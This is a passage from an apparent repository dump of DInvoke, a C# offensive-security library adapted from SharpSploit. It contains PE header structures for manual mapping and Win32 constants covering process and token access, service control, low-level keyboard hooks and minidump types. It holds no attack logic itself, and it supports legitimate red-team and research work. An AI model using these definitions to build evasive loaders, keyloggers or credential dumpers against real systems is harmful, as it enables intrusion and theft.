IMAGE_DATA_DIRECTORY CLRRuntimeHeader;\r\n            public IMAGE_DATA_DIRECTORY Reserved;\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n        public struct IMAGE_OPTIONAL_HEADER64\r\n        {\r\n            public UInt16 Magic;\r\n            public Byte MajorLinkerVersion;\r\n            public Byte MinorLinkerVersion;\r\n            public UInt32 SizeOfCode;\r\n            public UInt32 SizeOfInitializedData;\r\n            public UInt32 SizeOfUninitializedData;\r\n            public UInt32 AddressOfEntryPoint;\r\n            public UInt32 BaseOfCode;\r\n            public UInt64 ImageBase;\r\n            public UInt32 SectionAlignment;\r\n            public UInt32 FileAlignment;\r\n            public UInt16 MajorOperatingSystemVersion;\r\n            public UInt16 MinorOperatingSystemVersion;\r\n            public UInt16 MajorImageVersion;\r\n            public UInt16 MinorImageVersion;\r\n            public UInt16 MajorSubsystemVersion;\r\n            public UInt16 MinorSubsystemVersion;\r\n            public UInt32 Win32VersionValue;\r\n            public UInt32 SizeOfImage;\r\n            public UInt32 SizeOfHeaders;\r\n            public UInt32 CheckSum;\r\n            public UInt16 Subsystem;\r\n            public UInt16 DllCharacteristics;\r\n            public UInt64 SizeOfStackReserve;\r\n            public UInt64 SizeOfStackCommit;\r\n            public UInt64 SizeOfHeapReserve;\r\n            public UInt64 SizeOfHeapCommit;\r\n            public UInt32 LoaderFlags;\r\n            public UInt32 NumberOfRvaAndSizes;\r\n\r\n            public IMAGE_DATA_DIRECTORY ExportTable;\r\n            public IMAGE_DATA_DIRECTORY ImportTable;\r\n            public IMAGE_DATA_DIRECTORY ResourceTable;\r\n            public IMAGE_DATA_DIRECTORY ExceptionTable;\r\n            public IMAGE_DATA_DIRECTORY CertificateTable;\r\n            public IMAGE_DATA_DIRECTORY BaseRelocationTable;\r\n            public IMAGE_DATA_DIRECTORY Debug;\r\n            public IMAGE_DATA_DIRECTORY Architecture;\r\n            public IMAGE_DATA_DIRECTORY GlobalPtr;\r\n            public IMAGE_DATA_DIRECTORY TLSTable;\r\n            public IMAGE_DATA_DIRECTORY LoadConfigTable;\r\n            public IMAGE_DATA_DIRECTORY BoundImport;\r\n            public IMAGE_DATA_DIRECTORY IAT;\r\n            public IMAGE_DATA_DIRECTORY DelayImportDescriptor;\r\n            public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;\r\n            public IMAGE_DATA_DIRECTORY Reserved;\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n        public struct IMAGE_FILE_HEADER\r\n        {\r\n            public UInt16 Machine;\r\n            public UInt16 NumberOfSections;\r\n            public UInt32 TimeDateStamp;\r\n            public UInt32 PointerToSymbolTable;\r\n            public UInt32 NumberOfSymbols;\r\n            public UInt16 SizeOfOptionalHeader;\r\n            public UInt16 Characteristics;\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Explicit)]\r\n        public struct IMAGE_SECTION_HEADER\r\n        {\r\n            [FieldOffset(0)]\r\n            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]\r\n            public char[] Name;\r\n            [FieldOffset(8)]\r\n            public UInt32 VirtualSize;\r\n            [FieldOffset(12)]\r\n            public UInt32 VirtualAddress;\r\n            [FieldOffset(16)]\r\n            public UInt32 SizeOfRawData;\r\n            [FieldOffset(20)]\r\n            public UInt32 PointerToRawData;\r\n            [FieldOffset(24)]\r\n            public UInt32 PointerToRelocations;\r\n            [FieldOffset(28)]\r\n            public UInt32 PointerToLinenumbers;\r\n            [FieldOffset(32)]\r\n            public UInt16 NumberOfRelocations;\r\n            [FieldOffset(34)]\r\n            public UInt16 NumberOfLinenumbers;\r\n            [FieldOffset(36)]\r\n            public DataSectionFlags Characteristics;\r\n\r\n            public string Section\r\n            {\r\n                get { return new string(Name); }\r\n            }\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Explicit)]\r\n        public struct IMAGE_EXPORT_DIRECTORY\r\n        {\r\n            [FieldOffset(0)]\r\n            public UInt32 Characteristics;\r\n            [FieldOffset(4)]\r\n            public UInt32 TimeDateStamp;\r\n            [FieldOffset(8)]\r\n            public UInt16 MajorVersion;\r\n            [FieldOffset(10)]\r\n            public UInt16 MinorVersion;\r\n            [FieldOffset(12)]\r\n            public UInt32 Name;\r\n            [FieldOffset(16)]\r\n            public UInt32 Base;\r\n            [FieldOffset(20)]\r\n            public UInt32 NumberOfFunctions;\r\n            [FieldOffset(24)]\r\n            public UInt32 NumberOfNames;\r\n            [FieldOffset(28)]\r\n            public UInt32 AddressOfFunctions;\r\n            [FieldOffset(32)]\r\n            public UInt32 AddressOfNames;\r\n            [FieldOffset(36)]\r\n            public UInt32 AddressOfOrdinals;\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential)]\r\n        public struct IMAGE_BASE_RELOCATION\r\n        {\r\n            public uint VirtualAdress;\r\n            public uint SizeOfBlock;\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential)]\r\n        public struct PE_META_DATA\r\n        {\r\n            public UInt32 Pe;\r\n            public Boolean Is32Bit;\r\n            public IMAGE_FILE_HEADER ImageFileHeader;\r\n            public IMAGE_OPTIONAL_HEADER32 OptHeader32;\r\n            public IMAGE_OPTIONAL_HEADER64 OptHeader64;\r\n            public IMAGE_SECTION_HEADER[] Sections;\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential)]\r\n        public struct PE_MANUAL_MAP\r\n        {\r\n            public String DecoyModule;\r\n            public IntPtr ModuleBase;\r\n            public PE_META_DATA PEINFO;\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Explicit)]\r\n        public struct IMAGE_THUNK_DATA32\r\n        {\r\n            [FieldOffset(0)]\r\n            public UInt32 ForwarderString;\r\n            [FieldOffset(0)]\r\n            public UInt32 Function;\r\n            [FieldOffset(0)]\r\n            public UInt32 Ordinal;\r\n            [FieldOffset(0)]\r\n            public UInt32 AddressOfData;\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Explicit)]\r\n        public struct IMAGE_THUNK_DATA64\r\n        {\r\n            [FieldOffset(0)]\r\n            public UInt64 ForwarderString;\r\n            [FieldOffset(0)]\r\n            public UInt64 Function;\r\n            [FieldOffset(0)]\r\n            public UInt64 Ordinal;\r\n            [FieldOffset(0)]\r\n            public UInt64 AddressOfData;\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Explicit)]\r\n        public struct ApiSetNamespace\r\n        {\r\n            [FieldOffset(0x0C)]\r\n            public int Count;\r\n\r\n            [FieldOffset(0x10)]\r\n            public int EntryOffset;\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Explicit, Size = 24)]\r\n        public struct ApiSetNamespaceEntry\r\n        {\r\n            [FieldOffset(0x04)]\r\n            public int NameOffset;\r\n\r\n            [FieldOffset(0x08)]\r\n            public int NameLength;\r\n\r\n            [FieldOffset(0x10)]\r\n            public int ValueOffset;\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Explicit)]\r\n        public struct ApiSetValueEntry\r\n        {\r\n            [FieldOffset(0x0C)]\r\n            public int ValueOffset;\r\n\r\n            [FieldOffset(0x10)]\r\n            public int ValueCount;\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential)]\r\n        public struct LDR_DATA_TABLE_ENTRY\r\n        {\r\n            public Data.Native.LIST_ENTRY InLoadOrderLinks;\r\n            public Data.Native.LIST_ENTRY InMemoryOrderLinks;\r\n            public Data.Native.LIST_ENTRY InInitializationOrderLinks;\r\n            public IntPtr DllBase;\r\n            public IntPtr EntryPoint;\r\n            public UInt32 SizeOfImage;\r\n            public Data.Native.UNICODE_STRING FullDllName;\r\n            public Data.Native.UNICODE_STRING BaseDllName;\r\n        }\r\n    }//end class\r\n}\r\n"
  },
  {
    "path": "DInvoke.Data/Win32.cs",
    "content": "// Author: Ryan Cobb (@cobbr_io)\r\n// Project: SharpSploit (https://github.com/cobbr/SharpSploit)\r\n// License: BSD 3-Clause\r\n\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n\r\nnamespace DInvoke.Data\r\n{\r\n    /// <summary>\r\n    /// Win32 is a library of enums and structures for Win32 API functions.\r\n    /// </summary>\r\n    /// <remarks>\r\n    /// A majority of this library is adapted from signatures found at www.pinvoke.net.\r\n    /// </remarks>\r\n    public static class Win32\r\n    {\r\n        public static class Kernel32\r\n        {\r\n            public static uint MEM_COMMIT = 0x1000;\r\n            public static uint MEM_RESERVE = 0x2000;\r\n            public static uint MEM_RESET = 0x80000;\r\n            public static uint MEM_RESET_UNDO = 0x1000000;\r\n            public static uint MEM_LARGE_PAGES = 0x20000000;\r\n            public static uint MEM_PHYSICAL = 0x400000;\r\n            public static uint MEM_TOP_DOWN = 0x100000;\r\n            public static uint MEM_WRITE_WATCH = 0x200000;\r\n            public static uint MEM_COALESCE_PLACEHOLDERS = 0x1;\r\n            public static uint MEM_PRESERVE_PLACEHOLDER = 0x2;\r\n            public static uint MEM_DECOMMIT = 0x4000;\r\n            public static uint MEM_RELEASE = 0x8000;\r\n\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct IMAGE_BASE_RELOCATION\r\n            {\r\n                public uint VirtualAdress;\r\n                public uint SizeOfBlock;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct IMAGE_IMPORT_DESCRIPTOR\r\n            {\r\n                public uint OriginalFirstThunk;\r\n                public uint TimeDateStamp;\r\n                public uint ForwarderChain;\r\n                public uint Name;\r\n                public uint FirstThunk;\r\n            }\r\n\r\n            public struct SYSTEM_INFO\r\n            {\r\n                public ushort wProcessorArchitecture;\r\n                public ushort wReserved;\r\n                public uint dwPageSize;\r\n                public IntPtr lpMinimumApplicationAddress;\r\n                public IntPtr lpMaximumApplicationAddress;\r\n                public UIntPtr dwActiveProcessorMask;\r\n                public uint dwNumberOfProcessors;\r\n                public uint dwProcessorType;\r\n                public uint dwAllocationGranularity;\r\n                public ushort wProcessorLevel;\r\n                public ushort wProcessorRevision;\r\n            };\r\n\r\n            public enum Platform\r\n            {\r\n                x86,\r\n                x64,\r\n                IA64,\r\n                Unknown\r\n            }\r\n\r\n            [Flags]\r\n            public enum ProcessAccessFlags : UInt32\r\n            {\r\n                // https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396\r\n                PROCESS_ALL_ACCESS = 0x001F0FFF,\r\n                PROCESS_CREATE_PROCESS = 0x0080,\r\n                PROCESS_CREATE_THREAD = 0x0002,\r\n                PROCESS_DUP_HANDLE = 0x0040,\r\n                PROCESS_QUERY_INFORMATION = 0x0400,\r\n                PROCESS_QUERY_LIMITED_INFORMATION = 0x1000,\r\n                PROCESS_SET_INFORMATION = 0x0200,\r\n                PROCESS_SET_QUOTA = 0x0100,\r\n                PROCESS_SUSPEND_RESUME = 0x0800,\r\n                PROCESS_TERMINATE = 0x0001,\r\n                PROCESS_VM_OPERATION = 0x0008,\r\n                PROCESS_VM_READ = 0x0010,\r\n                PROCESS_VM_WRITE = 0x0020,\r\n                SYNCHRONIZE = 0x00100000\r\n            }\r\n\r\n            [Flags]\r\n            public enum FileAccessFlags : UInt32\r\n            {\r\n                DELETE = 0x10000,\r\n                FILE_READ_DATA = 0x1,\r\n                FILE_READ_ATTRIBUTES = 0x80,\r\n                FILE_READ_EA = 0x8,\r\n                READ_CONTROL = 0x20000,\r\n                FILE_WRITE_DATA = 0x2,\r\n                FILE_WRITE_ATTRIBUTES = 0x100,\r\n                FILE_WRITE_EA = 0x10,\r\n                FILE_APPEND_DATA = 0x4,\r\n                WRITE_DAC = 0x40000,\r\n                WRITE_OWNER = 0x80000,\r\n                SYNCHRONIZE = 0x100000,\r\n                FILE_EXECUTE = 0x20\r\n            }\r\n\r\n            [Flags]\r\n            public enum FileShareFlags : UInt32\r\n            {\r\n                FILE_SHARE_NONE = 0x0,\r\n                FILE_SHARE_READ = 0x1,\r\n                FILE_SHARE_WRITE = 0x2,\r\n                FILE_SHARE_DELETE = 0x4\r\n            }\r\n\r\n            [Flags]\r\n            public enum FileOpenFlags : UInt32\r\n            {\r\n                FILE_DIRECTORY_FILE = 0x1,\r\n                FILE_WRITE_THROUGH = 0x2,\r\n                FILE_SEQUENTIAL_ONLY = 0x4,\r\n                FILE_NO_INTERMEDIATE_BUFFERING = 0x8,\r\n                FILE_SYNCHRONOUS_IO_ALERT = 0x10,\r\n                FILE_SYNCHRONOUS_IO_NONALERT = 0x20,\r\n                FILE_NON_DIRECTORY_FILE = 0x40,\r\n                FILE_CREATE_TREE_CONNECTION = 0x80,\r\n                FILE_COMPLETE_IF_OPLOCKED = 0x100,\r\n                FILE_NO_EA_KNOWLEDGE = 0x200,\r\n                FILE_OPEN_FOR_RECOVERY = 0x400,\r\n                FILE_RANDOM_ACCESS = 0x800,\r\n                FILE_DELETE_ON_CLOSE = 0x1000,\r\n                FILE_OPEN_BY_FILE_ID = 0x2000,\r\n                FILE_OPEN_FOR_BACKUP_INTENT = 0x4000,\r\n                FILE_NO_COMPRESSION = 0x8000\r\n            }\r\n\r\n            [Flags]\r\n            public enum StandardRights : uint\r\n            {\r\n                Delete = 0x00010000,\r\n                ReadControl = 0x00020000,\r\n                WriteDac = 0x00040000,\r\n                WriteOwner = 0x00080000,\r\n                Synchronize = 0x00100000,\r\n                Required = 0x000f0000,\r\n                Read = ReadControl,\r\n                Write = ReadControl,\r\n                Execute = ReadControl,\r\n                All = 0x001f0000,\r\n\r\n                SpecificRightsAll = 0x0000ffff,\r\n                AccessSystemSecurity = 0x01000000,\r\n                MaximumAllowed = 0x02000000,\r\n                GenericRead = 0x80000000,\r\n                GenericWrite = 0x40000000,\r\n                GenericExecute = 0x20000000,\r\n                GenericAll = 0x10000000\r\n            }\r\n\r\n            [Flags]\r\n            public enum ThreadAccess : uint\r\n            {\r\n                Terminate = 0x0001,\r\n                SuspendResume = 0x0002,\r\n                Alert = 0x0004,\r\n                GetContext = 0x0008,\r\n                SetContext = 0x0010,\r\n                SetInformation = 0x0020,\r\n                QueryInformation = 0x0040,\r\n                SetThreadToken = 0x0080,\r\n                Impersonate = 0x0100,\r\n                DirectImpersonation = 0x0200,\r\n                SetLimitedInformation = 0x0400,\r\n                QueryLimitedInformation = 0x0800,\r\n                All = StandardRights.Required | StandardRights.Synchronize | 0x3ff\r\n            }\r\n        }\r\n\r\n        public static class User32\r\n        {\r\n            public static int WH_KEYBOARD_LL { get; } = 13;\r\n            public static int WM_KEYDOWN { get; } = 0x0100;\r\n\r\n            public delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);\r\n        }\r\n\r\n        public static class Netapi32\r\n        {\r\n            [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\r\n            public struct LOCALGROUP_USERS_INFO_0\r\n            {\r\n                [MarshalAs(UnmanagedType.LPWStr)] internal string name;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct LOCALGROUP_USERS_INFO_1\r\n            {\r\n                [MarshalAs(UnmanagedType.LPWStr)] public string name;\r\n                [MarshalAs(UnmanagedType.LPWStr)] public string comment;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\r\n            public struct LOCALGROUP_MEMBERS_INFO_2\r\n            {\r\n                public IntPtr lgrmi2_sid;\r\n                public int lgrmi2_sidusage;\r\n                [MarshalAs(UnmanagedType.LPWStr)] public string lgrmi2_domainandname;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\r\n            public struct WKSTA_USER_INFO_1\r\n            {\r\n                public string wkui1_username;\r\n                public string wkui1_logon_domain;\r\n                public string wkui1_oth_domains;\r\n                public string wkui1_logon_server;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\r\n            public struct SESSION_INFO_10\r\n            {\r\n                public string sesi10_cname;\r\n                public string sesi10_username;\r\n                public int sesi10_time;\r\n                public int sesi10_idle_time;\r\n            }\r\n\r\n            public enum SID_NAME_USE : UInt16\r\n            {\r\n                SidTypeUser = 1,\r\n                SidTypeGroup = 2,\r\n                SidTypeDomain = 3,\r\n                SidTypeAlias = 4,\r\n                SidTypeWellKnownGroup = 5,\r\n                SidTypeDeletedAccount = 6,\r\n                SidTypeInvalid = 7,\r\n                SidTypeUnknown = 8,\r\n                SidTypeComputer = 9\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\r\n            public struct SHARE_INFO_1\r\n            {\r\n                public string shi1_netname;\r\n                public uint shi1_type;\r\n                public string shi1_remark;\r\n\r\n                public SHARE_INFO_1(string netname, uint type, string remark)\r\n                {\r\n                    this.shi1_netname = netname;\r\n                    this.shi1_type = type;\r\n                    this.shi1_remark = remark;\r\n                }\r\n            }\r\n        }\r\n\r\n        public static class Advapi32\r\n        {\r\n\r\n            // http://www.pinvoke.net/default.aspx/advapi32.openprocesstoken\r\n            public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;\r\n            public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;\r\n            public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;\r\n            public const UInt32 TOKEN_DUPLICATE = 0x0002;\r\n            public const UInt32 TOKEN_IMPERSONATE = 0x0004;\r\n            public const UInt32 TOKEN_QUERY = 0x0008;\r\n            public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;\r\n            public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020;\r\n            public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;\r\n            public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;\r\n            public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;\r\n            public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);\r\n            public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |\r\n                TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |\r\n                TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |\r\n                TOKEN_ADJUST_SESSIONID);\r\n            public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY);\r\n\r\n            // https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx\r\n            [Flags]\r\n            public enum CREATION_FLAGS : uint\r\n            {\r\n                NONE = 0x00000000,\r\n                DEBUG_PROCESS = 0x00000001,\r\n                DEBUG_ONLY_THIS_PROCESS = 0x00000002,\r\n                CREATE_SUSPENDED = 0x00000004,\r\n                DETACHED_PROCESS = 0x00000008,\r\n                CREATE_NEW_CONSOLE = 0x00000010,\r\n                NORMAL_PRIORITY_CLASS = 0x00000020,\r\n                IDLE_PRIORITY_CLASS = 0x00000040,\r\n                HIGH_PRIORITY_CLASS = 0x00000080,\r\n                REALTIME_PRIORITY_CLASS = 0x00000100,\r\n                CREATE_NEW_PROCESS_GROUP = 0x00000200,\r\n                CREATE_UNICODE_ENVIRONMENT = 0x00000400,\r\n                CREATE_SEPARATE_WOW_VDM = 0x00000800,\r\n                CREATE_SHARED_WOW_VDM = 0x00001000,\r\n                CREATE_FORCEDOS = 0x00002000,\r\n                BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,\r\n                ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,\r\n                INHERIT_PARENT_AFFINITY = 0x00010000,\r\n                INHERIT_CALLER_PRIORITY = 0x00020000,\r\n                CREATE_PROTECTED_PROCESS = 0x00040000,\r\n                EXTENDED_STARTUPINFO_PRESENT = 0x00080000,\r\n                PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,\r\n                PROCESS_MODE_BACKGROUND_END = 0x00200000,\r\n                CREATE_BREAKAWAY_FROM_JOB = 0x01000000,\r\n                CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,\r\n                CREATE_DEFAULT_ERROR_MODE = 0x04000000,\r\n                CREATE_NO_WINDOW = 0x08000000,\r\n                PROFILE_USER = 0x10000000,\r\n                PROFILE_KERNEL = 0x20000000,\r\n                PROFILE_SERVER = 0x40000000,\r\n                CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000\r\n            }\r\n\r\n            [Flags]\r\n            public enum LOGON_FLAGS\r\n            {\r\n                NONE = 0x00000000,\r\n                LOGON_WITH_PROFILE = 0x00000001,\r\n                LOGON_NETCREDENTIALS_ONLY = 0x00000002\r\n            }\r\n\r\n            public enum LOGON_TYPE\r\n            {\r\n                LOGON32_LOGON_INTERACTIVE = 2,\r\n                LOGON32_LOGON_NETWORK,\r\n                LOGON32_LOGON_BATCH,\r\n                LOGON32_LOGON_SERVICE,\r\n                LOGON32_LOGON_UNLOCK = 7,\r\n                LOGON32_LOGON_NETWORK_CLEARTEXT,\r\n                LOGON32_LOGON_NEW_CREDENTIALS\r\n            }\r\n\r\n            public enum LOGON_PROVIDER\r\n            {\r\n                LOGON32_PROVIDER_DEFAULT,\r\n                LOGON32_PROVIDER_WINNT35,\r\n                LOGON32_PROVIDER_WINNT40,\r\n                LOGON32_PROVIDER_WINNT50\r\n            }\r\n\r\n            [Flags]\r\n            public enum SCM_ACCESS : uint\r\n            {\r\n                SC_MANAGER_CONNECT = 0x00001,\r\n                SC_MANAGER_CREATE_SERVICE = 0x00002,\r\n                SC_MANAGER_ENUMERATE_SERVICE = 0x00004,\r\n                SC_MANAGER_LOCK = 0x00008,\r\n                SC_MANAGER_QUERY_LOCK_STATUS = 0x00010,\r\n                SC_MANAGER_MODIFY_BOOT_CONFIG = 0x00020,\r\n\r\n                SC_MANAGER_ALL_ACCESS = ACCESS_MASK.STANDARD_RIGHTS_REQUIRED |\r\n                    SC_MANAGER_CONNECT |\r\n                    SC_MANAGER_CREATE_SERVICE |\r\n                    SC_MANAGER_ENUMERATE_SERVICE |\r\n                    SC_MANAGER_LOCK |\r\n                    SC_MANAGER_QUERY_LOCK_STATUS |\r\n                    SC_MANAGER_MODIFY_BOOT_CONFIG,\r\n\r\n                GENERIC_READ = ACCESS_MASK.STANDARD_RIGHTS_READ |\r\n                    SC_MANAGER_ENUMERATE_SERVICE |\r\n                    SC_MANAGER_QUERY_LOCK_STATUS,\r\n\r\n                GENERIC_WRITE = ACCESS_MASK.STANDARD_RIGHTS_WRITE |\r\n                    SC_MANAGER_CREATE_SERVICE |\r\n                    SC_MANAGER_MODIFY_BOOT_CONFIG,\r\n\r\n                GENERIC_EXECUTE = ACCESS_MASK.STANDARD_RIGHTS_EXECUTE |\r\n                    SC_MANAGER_CONNECT | SC_MANAGER_LOCK,\r\n\r\n                GENERIC_ALL = SC_MANAGER_ALL_ACCESS,\r\n            }\r\n\r\n            [Flags]\r\n            public enum ACCESS_MASK : uint\r\n            {\r\n                DELETE = 0x00010000,\r\n                READ_CONTROL = 0x00020000,\r\n                WRITE_DAC = 0x00040000,\r\n                WRITE_OWNER = 0x00080000,\r\n                SYNCHRONIZE = 0x00100000,\r\n                STANDARD_RIGHTS_REQUIRED = 0x000F0000,\r\n                STANDARD_RIGHTS_READ = 0x00020000,\r\n                STANDARD_RIGHTS_WRITE = 0x00020000,\r\n                STANDARD_RIGHTS_EXECUTE = 0x00020000,\r\n                STANDARD_RIGHTS_ALL = 0x001F0000,\r\n                SPECIFIC_RIGHTS_ALL = 0x0000FFFF,\r\n                ACCESS_SYSTEM_SECURITY = 0x01000000,\r\n                MAXIMUM_ALLOWED = 0x02000000,\r\n                GENERIC_READ = 0x80000000,\r\n                GENERIC_WRITE = 0x40000000,\r\n                GENERIC_EXECUTE = 0x20000000,\r\n                GENERIC_ALL = 0x10000000,\r\n                DESKTOP_READOBJECTS = 0x00000001,\r\n                DESKTOP_CREATEWINDOW = 0x00000002,\r\n                DESKTOP_CREATEMENU = 0x00000004,\r\n                DESKTOP_HOOKCONTROL = 0x00000008,\r\n                DESKTOP_JOURNALRECORD = 0x00000010,\r\n                DESKTOP_JOURNALPLAYBACK = 0x00000020,\r\n                DESKTOP_ENUMERATE = 0x00000040,\r\n                DESKTOP_WRITEOBJECTS = 0x00000080,\r\n                DESKTOP_SWITCHDESKTOP = 0x00000100,\r\n                WINSTA_ENUMDESKTOPS = 0x00000001,\r\n                WINSTA_READATTRIBUTES = 0x00000002,\r\n                WINSTA_ACCESSCLIPBOARD = 0x00000004,\r\n                WINSTA_CREATEDESKTOP = 0x00000008,\r\n                WINSTA_WRITEATTRIBUTES = 0x00000010,\r\n                WINSTA_ACCESSGLOBALATOMS = 0x00000020,\r\n                WINSTA_EXITWINDOWS = 0x00000040,\r\n                WINSTA_ENUMERATE = 0x00000100,\r\n                WINSTA_READSCREEN = 0x00000200,\r\n                WINSTA_ALL_ACCESS = 0x0000037F\r\n            }\r\n\r\n            [Flags]\r\n            public enum SERVICE_ACCESS : uint\r\n            {\r\n                SERVICE_QUERY_CONFIG = 0x00001,\r\n                SERVICE_CHANGE_CONFIG = 0x00002,\r\n                SERVICE_QUERY_STATUS = 0x00004,\r\n                SERVICE_ENUMERATE_DEPENDENTS = 0x00008,\r\n                SERVICE_START = 0x00010,\r\n                SERVICE_STOP = 0x00020,\r\n                SERVICE_PAUSE_CONTINUE = 0x00040,\r\n                SERVICE_INTERROGATE = 0x00080,\r\n                SERVICE_USER_DEFINED_CONTROL = 0x00100,\r\n\r\n                SERVICE_ALL_ACCESS = (ACCESS_MASK.STANDARD_RIGHTS_REQUIRED |\r\n                    SERVICE_QUERY_CONFIG |\r\n                    SERVICE_CHANGE_CONFIG |\r\n                    SERVICE_QUERY_STATUS |\r\n                    SERVICE_ENUMERATE_DEPENDENTS |\r\n                    SERVICE_START |\r\n                    SERVICE_STOP |\r\n                    SERVICE_PAUSE_CONTINUE |\r\n                    SERVICE_INTERROGATE |\r\n                    SERVICE_USER_DEFINED_CONTROL),\r\n\r\n                GENERIC_READ = ACCESS_MASK.STANDARD_RIGHTS_READ |\r\n                    SERVICE_QUERY_CONFIG |\r\n                    SERVICE_QUERY_STATUS |\r\n                    SERVICE_INTERROGATE |\r\n                    SERVICE_ENUMERATE_DEPENDENTS,\r\n\r\n                GENERIC_WRITE = ACCESS_MASK.STANDARD_RIGHTS_WRITE |\r\n                    SERVICE_CHANGE_CONFIG,\r\n\r\n                GENERIC_EXECUTE = ACCESS_MASK.STANDARD_RIGHTS_EXECUTE |\r\n                    SERVICE_START |\r\n                    SERVICE_STOP |\r\n                    SERVICE_PAUSE_CONTINUE |\r\n                    SERVICE_USER_DEFINED_CONTROL,\r\n\r\n                ACCESS_SYSTEM_SECURITY = ACCESS_MASK.ACCESS_SYSTEM_SECURITY,\r\n                DELETE = ACCESS_MASK.DELETE,\r\n                READ_CONTROL = ACCESS_MASK.READ_CONTROL,\r\n                WRITE_DAC = ACCESS_MASK.WRITE_DAC,\r\n                WRITE_OWNER = ACCESS_MASK.WRITE_OWNER,\r\n            }\r\n\r\n            [Flags]\r\n            public enum SERVICE_TYPE : uint\r\n            {\r\n                SERVICE_KERNEL_DRIVER = 0x00000001,\r\n                SERVICE_FILE_SYSTEM_DRIVER = 0x00000002,\r\n                SERVICE_WIN32_OWN_PROCESS = 0x00000010,\r\n                SERVICE_WIN32_SHARE_PROCESS = 0x00000020,\r\n                SERVICE_INTERACTIVE_PROCESS = 0x00000100,\r\n            }\r\n\r\n            public enum SERVICE_START : uint\r\n            {\r\n                SERVICE_BOOT_START = 0x00000000,\r\n                SERVICE_SYSTEM_START = 0x00000001,\r\n                SERVICE_AUTO_START = 0x00000002,\r\n                SERVICE_DEMAND_START = 0x00000003,\r\n                SERVICE_DISABLED = 0x00000004,\r\n            }\r\n\r\n            public enum SERVICE_ERROR\r\n            {\r\n                SERVICE_ERROR_IGNORE = 0x00000000,\r\n                SERVICE_ERROR_NORMAL = 0x00000001,\r\n                SERVICE_ERROR_SEVERE = 0x00000002,\r\n                SERVICE_ERROR_CRITICAL = 0x00000003,\r\n            }\r\n        }\r\n\r\n        public static class Dbghelp\r\n        {\r\n            public enum MINIDUMP_TYPE\r\n            {\r\n                MiniDumpNormal = 0x00000000,\r\n                MiniDumpWithDataSegs = 0x00000001,\r\n                MiniDumpWithFullMemory = 0x00000002,\r\n                MiniDumpWithHandleData = 0x00000004,\r\n                MiniDumpFilterMemory = 0x00000008,\r\n                MiniDumpScanMemory = 0x00000010,\r\n                MiniDumpWithUnloadedModules = 0x00000020,\r\n                MiniDumpWithIndirectlyReferencedMemory = 0x00000040,\r\n                MiniDumpFilterModulePaths = 0x00000080,\r\n                MiniDumpWithProcessThreadData = 0x00000100,\r\n                MiniDumpWithPrivateReadWriteMemory = 0x00000200,\r\n                MiniDumpWithoutOptionalData = 0x00000400,\r\n                MiniDumpWithFullMemoryInfo = 0x00000800,\r\n                MiniDumpWithThreadInfo = 0x00001000,\r\n                MiniDumpWithCodeSegs = 0x00002000,\r\n                MiniDumpWithoutAuxiliaryState = 0x00004000,\r\n                MiniDumpWithFullAuxiliaryState = 0x00008000,\r\n                MiniDumpWithPrivateWriteCopyMemory = 0x00010000,\r\n                MiniDumpIgnoreInaccessibleMemory = 0x00020000,\r\n                MiniDumpWithTokenInformation = 0x00040000,\r\n                MiniDumpWithModuleHeaders = 0x00080000,\r\n                MiniDumpFilterTriage = 0x00100000,\r\n                MiniDumpValidTypeFlags = 0x001fffff\r\n            }\r\n        }\r\n\r\n        public class WinBase\r\n        {\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct _SYSTEM_INFO\r\n            {\r\n                public UInt16 